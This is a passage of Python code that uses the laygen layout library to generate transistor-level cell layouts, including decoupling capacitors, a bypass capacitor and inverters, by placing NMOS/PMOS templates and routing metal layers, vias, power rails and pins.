xy_d0 = laygen.get_template_pin_xy(in1.cellname, 'D0', rg_m1m2)[0, :]
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
#gate route
laygen.route(None, laygen.layers['metal'][2], xy0=xy_g0, xy1=xy_g0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=xy_g0, xy1=xy_g0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, xy_g0, refinstname=in1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, xy_g0, refinstname=ip1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
#source route
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1*np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1*np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
#drain route
if m > 1:
laygen.route(None, laygen.layers['metal'][2], xy0=xy_d0+np.array([0, 1]), xy1=xy_d0+np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, xy_d0+np.array([0, 1]), refinstname=in1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=xy_d0+np.array([0, 1]), xy1=xy_d0+np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, xy_d0+np.array([0, 1]), refinstname=ip1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
# vss/vdd vertical route
laygen.route(None, laygen.layers['metal'][3], xy0=xy_g0*np.array([1, 0]), xy1=xy_g0, gridname0=rg_m2m3,
refinstname0=ip1.name, refinstname1=in1.name,
refinstindex0=np.array([0, 0]), refinstindex1=np.array([0, 0]), via0=[[0, 0]], via1=[[0, 0]])
laygen.route(None, laygen.layers['metal'][3], xy0=xy_g0*np.array([1, 0]), xy1=xy_g0, gridname0=rg_m2m3,
refinstname0=in1.name, refinstname1=ip1.name,
refinstindex0=np.array([m-1, 0]), refinstindex1=np.array([m-1, 0]), via0=[[0, 0]], via1=[[0, 0]])
laygen.route(None, laygen.layers['metal'][3], xy0=xy_g0*np.array([1, 0])+np.array([0, 2]), xy1=xy_g0*np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refinstname1=in1.name,
refinstindex0=np.array([m-1, 0]), refinstindex1=np.array([m-1, 0]), via0=[[0, 0]], via1=[[0, 0]])
laygen.route(None, laygen.layers['metal'][3], xy0=xy_g0*np.array([1, 0])+np.array([0, 2]), xy1=xy_g0*np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refinstname1=ip1.name,
refinstindex0=np.array([0, 0]), refinstindex1=np.array([0, 0]), via0=[[0, 0]], via1=[[0, 0]])
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip2.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# pin
if create_pin == True:
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_dcap3(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_space,
m=2, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
#ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_space, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m*2, 1]))
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_space, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip1b = laygen.relplace(name = "I"+objectname_pfix+'P1B', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m*2, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
# route
#pdict = [laygen.get_inst_pin_xy(None, None, rg_m1m2, index=np.array([i, 0])) for i in range(m)]
xy_g0 = laygen.get_template_pin_xy(in1.cellname, 'G0', rg_m1m2)[0, :]
xy_d0 = laygen.get_template_pin_xy(in1.cellname, 'D0', rg_m1m2)[0, :]
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
#vss
'''
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1*np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
'''
'''
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([0, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1*np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([m-1, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
'''
laygen.route(None, laygen.layers['metal'][2], xy0=xy_d0, xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m-1):
laygen.via(None, xy_d0, refinstname=in1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, xy_s1, refinstname=in1.name, refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=xy_s0+np.array([0, 1]), xy1=xy_d0+np.array([0, 1]),
gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
laygen.via(None, xy_d0+np.array([0, 1]), refinstname=in1.name, refinstindex=np.array([m-1, 0]), gridname=rg_m1m2)
laygen.via(None, xy_s0+np.array([0, 1]), refinstname=in1.name, refinstindex=np.array([0, 0]), gridname=rg_m1m2)
#gate
laygen.route(None, laygen.layers['metal'][2], xy0=xy_g0, xy1=xy_g0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, xy_g0, refinstname=in1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][1], xy0=xy_g0, xy1=xy_g0+np.array([0, 2]), gridname0=rg_m1m2,
refinstname0=in1.name, refinstname1=in1.name, via1=[[0, 0]])
laygen.route(None, laygen.layers['metal'][2], xy0=xy_g0+np.array([0, 2]), xy1=xy_g0+np.array([3, 2]), gridname0=rg_m1m2,
refinstname0=in1.name, refinstname1=in1.name, via1=[[0, 0]])
laygen.route(None, laygen.layers['metal'][1], xy0=xy_g0*np.array([1, 0])+np.array([3, 0]),
xy1=xy_g0+np.array([3, 2]), gridname0=rg_m1m2,
refinstname0=ip1.name, via0=[[0, 0]],
refinstname1=in1.name)
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip2.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# pin
if create_pin == True:
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_bcap2(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_body,
m=2, origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
# route
#pdict = [laygen.get_inst_pin_xy(None, None, rg_m1m2, index=np.array([i, 0])) for i in range(m)]
xy_g0 = laygen.get_template_pin_xy(in1.cellname, 'G0', rg_m1m2)[0, :]
xy_d0 = laygen.get_template_pin_xy(in1.cellname, 'D0', rg_m1m2)[0, :]
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
#gate route
laygen.route(None, laygen.layers['metal'][2], xy0=xy_g0, xy1=xy_g0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=xy_g0, xy1=xy_g0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, xy_g0, refinstname=in1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.via(None, xy_g0, refinstname=ip1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
#source route
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1*np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1*np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]), via0=[[0, 0]],
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
#drain route
if m > 1:
laygen.route(None, laygen.layers['metal'][2], xy0=xy_d0+np.array([0, 1]), xy1=xy_d0+np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, xy_d0+np.array([0, 1]), refinstname=in1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=xy_d0+np.array([0, 1]), xy1=xy_d0+np.array([0, 1]), gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, xy_d0+np.array([0, 1]), refinstname=ip1.name, refinstindex=np.array([i, 0]), gridname=rg_m1m2)
#input route
rg0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([2, 0]), xy1=np.array([2, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0', via0=[[0, 0]], via1=[[0, 0]])
# vss/vdd vertical route
#laygen.route(None, laygen.layers['metal'][3], xy0=xy_g0*np.array([1, 0]), xy1=xy_g0, gridname0=rg_m2m3,
# refinstname0=ip1.name, refinstname1=in1.name,
# refinstindex0=np.array([0, 0]), refinstindex1=np.array([0, 0]), via0=[[0, 0]], via1=[[0, 0]])
#laygen.route(None, laygen.layers['metal'][3], xy0=xy_g0*np.array([1, 0]), xy1=xy_g0, gridname0=rg_m2m3,
# refinstname0=in1.name, refinstname1=ip1.name,
# refinstindex0=np.array([m-1, 0]), refinstindex1=np.array([m-1, 0]), via0=[[0, 0]], via1=[[0, 0]])
laygen.route(None, laygen.layers['metal'][3], xy0=xy_g0*np.array([1, 0])+np.array([0, 2]), xy1=xy_g0*np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refinstname1=in1.name,
refinstindex0=np.array([m-1, 0]), refinstindex1=np.array([m-1, 0]), via0=[[0, 0]], via1=[[0, 0]])
laygen.route(None, laygen.layers['metal'][3], xy0=xy_g0*np.array([1, 0])+np.array([0, 2]), xy1=xy_g0*np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refinstname1=ip1.name,
refinstindex0=np.array([0, 0]), refinstindex1=np.array([0, 0]), via0=[[0, 0]], via1=[[0, 0]])
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip2.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['I'], rect_list=[rg0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_inv(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_pmos_boundary, devname_pmos_body,
m=1, pin_i_abut='nmos', origin=np.array([0,0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
m = max(1, int(m / 2)) # using nf=2 devices
# placement
in0 = laygen.place("I"+objectname_pfix+'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix+'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name, shape=np.array([m, 1]))
in2 = laygen.relplace(name = "I"+objectname_pfix+'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix+'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix+'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX', shape=np.array([m, 1]))
ip2 = laygen.relplace(name = "I"+objectname_pfix+'P3', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
# route
# horizontal route style
# input
if pin_i_abut=="nmos": refinstname_in=in1.name
else: refinstname_in=ip1.name
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refpinname1='G0', refinstindex1=np.array([i, 0]),
)
laygen.via(None, np.array([0, 0]), refinstname=refinstname_in, refpinname='G0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m1m2,
refinstname0=refinstname_in, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=refinstname_in, refpinname1='G0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
ri0 = laygen.route("R"+objectname_pfix+"I0", laygen.layers['metal'][3], xy0=np.array([-1, 0]), xy1=np.array([-1, 2]), gridname0=rg_m2m3,
refinstname0=refinstname_in, refpinname0='G0', refinstname1=refinstname_in, refpinname1='G0')
laygen.via(None, np.array([-1, 0]), refinstname=refinstname_in, refpinname='G0', gridname=rg_m2m3)
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=refinstname_in, refpinname0='G0', refinstindex0=np.array([0, 0]),
refinstname1=refinstname_in, refpinname1='G0', refinstindex1=np.array([m-1, 0]))
ri0 = laygen.route("R"+objectname_pfix+"I0", laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=refinstname_in, refpinname0='G0', refinstname1=refinstname_in, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=refinstname_in, refpinname='G0', gridname=rg_m2m3)
# output
if m==1:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, 0]), xy1=np.array([1, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]),
endstyle0="extend", endstyle1="extend")
else:
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=in1.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0', refinstindex0=np.array([0, 0]),
refinstname1=ip1.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
for i in range(m):
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([i, 0]),
gridname=rg_m1m2)
laygen.via(None, np.array([0, 0]), refinstname=in1.name, refpinname='D0', refinstindex=np.array([m-1, 0]),
gridname=rg_m2m3)
laygen.via(None, np.array([0, 0]), refinstname=ip1.name, refpinname='D0', refinstindex=np.array([m-1, 0]),
gridname=rg_m2m3)
ro0 = laygen.route(None, laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstindex0=np.array([m-1, 0]),
refinstname1=ip1.name, refpinname1='D0', refinstindex1=np.array([m-1, 0]))
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd=laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip2.name)
rvss=laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in2.name)
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
for i in range(m):
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([i, 0]),
refinstname1=in1.name, refinstindex1=np.array([i, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([i, 0]),
refinstname1=ip1.name, refinstindex1=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,refinstindex=np.array([i, 0]))
laygen.via(None, xy_s0 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,refinstindex=np.array([i, 0]))
xy_s1 = laygen.get_template_pin_xy(in1.cellname, 'S1', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=in1.name, refinstindex0=np.array([m-1, 0]),
refinstname1=in1.name, refinstindex1=np.array([m-1, 0]))
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s1 * np.array([1, 0]), xy1=xy_s1, gridname0=rg_m1m2,
refinstname0=ip1.name, refinstindex0=np.array([m-1, 0]),
refinstname1=ip1.name, refinstindex1=np.array([m-1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=in1.name, gridname=rg_m1m2,refinstindex=np.array([m-1, 0]))
laygen.via(None, xy_s1 * np.array([1, 0]), refinstname=ip1.name, gridname=rg_m1m2,refinstindex=np.array([m-1, 0]))
# pin
if create_pin == True:
create_io_pin(laygen, layer=laygen.layers['pin'][3], gridname=rg_m2m3_pin,
pinname_list = ['I', 'O'], rect_list=[ri0, ro0])
create_power_pin(laygen, layer=laygen.layers['pin'][2], gridname=rg_m1m2, rect_vdd=rvdd, rect_vss=rvss)
def generate_inv_1x(laygen, objectname_pfix,
placement_grid, routing_grid_m1m2, routing_grid_m2m3, routing_grid_m1m2_pin, routing_grid_m2m3_pin,
devname_nmos_boundary, devname_nmos_body, devname_nmos_space,
devname_pmos_boundary, devname_pmos_body, devname_pmos_space,
pin_i_abut='nmos', pin_o_y=0, origin=np.array([0, 0]), create_pin=False):
pg = placement_grid
rg_m1m2 = routing_grid_m1m2
rg_m2m3 = routing_grid_m2m3
rg_m1m2_pin = routing_grid_m1m2_pin
rg_m2m3_pin = routing_grid_m2m3_pin
# placement
in0 = laygen.place("I"+objectname_pfix + 'N0', devname_nmos_boundary, pg, xy=origin)
in1 = laygen.relplace(name = "I"+objectname_pfix + 'N1', templatename = devname_nmos_body, gridname = pg, refinstname = in0.name)
in2 = laygen.relplace(name = "I"+objectname_pfix + 'N2', templatename = devname_nmos_boundary, gridname = pg, refinstname = in1.name)
in3 = laygen.relplace(name = "I"+objectname_pfix + 'N3', templatename = devname_nmos_space, gridname = pg, refinstname = in2.name)
ip0 = laygen.relplace(name = "I"+objectname_pfix + 'P0', templatename = devname_pmos_boundary, gridname = pg, refinstname = in0.name, direction='top', transform='MX')
ip1 = laygen.relplace(name = "I"+objectname_pfix + 'P1', templatename = devname_pmos_body, gridname = pg, refinstname = ip0.name, transform='MX')
ip2 = laygen.relplace(name = "I"+objectname_pfix + 'P2', templatename = devname_pmos_boundary, gridname = pg, refinstname = ip1.name, transform='MX')
ip3 = laygen.relplace(name = "I"+objectname_pfix + 'P3', templatename = devname_pmos_space, gridname = pg, refinstname = ip2.name, transform='MX')
# route
# input
if pin_i_abut == "nmos":
refinstname_in = in1.name
else:
refinstname_in = ip1.name
laygen.route(None, laygen.layers['metal'][1], xy0=np.array([0, 0]), xy1=np.array([0, 0]), gridname0=rg_m1m2,
refinstname0=in1.name, refpinname0='G0', refinstname1=ip1.name, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=refinstname_in, refpinname='G0', gridname=rg_m1m2)
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=np.array([2, 0]), gridname0=rg_m1m2,
refinstname0=refinstname_in, refpinname0='G0',
refinstname1=refinstname_in, refpinname1='G0')
ri0 = laygen.route("R"+objectname_pfix+"I0", laygen.layers['metal'][3], xy0=np.array([0, 0]), xy1=np.array([0, 2]), gridname0=rg_m2m3,
refinstname0=refinstname_in, refpinname0='G0', refinstname1=refinstname_in, refpinname1='G0')
laygen.via(None, np.array([0, 0]), refinstname=refinstname_in, refpinname='G0', gridname=rg_m2m3)
# output
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, pin_o_y]), xy1=np.array([1, pin_o_y]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1=in1.name, refpinname1='D0',
endstyle0='extend', endstyle1='extend')
laygen.route(None, laygen.layers['metal'][2], xy0=np.array([-1, pin_o_y]), xy1=np.array([1, pin_o_y]), gridname0=rg_m2m3,
refinstname0=ip1.name, refpinname0='D0', refinstname1=ip1.name, refpinname1='D0',
endstyle0 = 'extend', endstyle1 = 'extend')
ro0 = laygen.route("R" + objectname_pfix +"O0", laygen.layers['metal'][3], xy0=np.array([0, pin_o_y]),
xy1=np.array([0, pin_o_y]), gridname0=rg_m2m3,
refinstname0=in1.name, refpinname0='D0', refinstname1=ip1.name, refpinname1='D0')
laygen.via(None, np.array([0, pin_o_y]), refinstname=in1.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([0, pin_o_y]), refinstname=ip1.name, refpinname='D0', gridname=rg_m1m2)
laygen.via(None, np.array([0, pin_o_y]), refinstname=in1.name, refpinname='D0', gridname=rg_m2m3)
laygen.via(None, np.array([0, pin_o_y]), refinstname=ip1.name, refpinname='D0', gridname=rg_m2m3)
# power and groud rail
xy = laygen.get_xy(obj = in2.template, gridname = rg_m1m2) * np.array([1, 0])
rvdd = laygen.route("R"+objectname_pfix+"VDD0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=ip0.name, refinstname1=ip3.name)
rvss = laygen.route("R"+objectname_pfix+"VSS0", laygen.layers['metal'][2], xy0=np.array([0, 0]), xy1=xy, gridname0=rg_m1m2,
refinstname0=in0.name, refinstname1=in3.name)
# power and ground route
xy_s0 = laygen.get_template_pin_xy(in1.cellname, 'S0', rg_m1m2)[0, :]
laygen.route(None, laygen.layers['metal'][1], xy0=xy_s0*np.array([1, 0]), xy1=xy_s0, gridname0=rg_m1m2,
refinstname0=in1.name, refinstname1=in1.name)
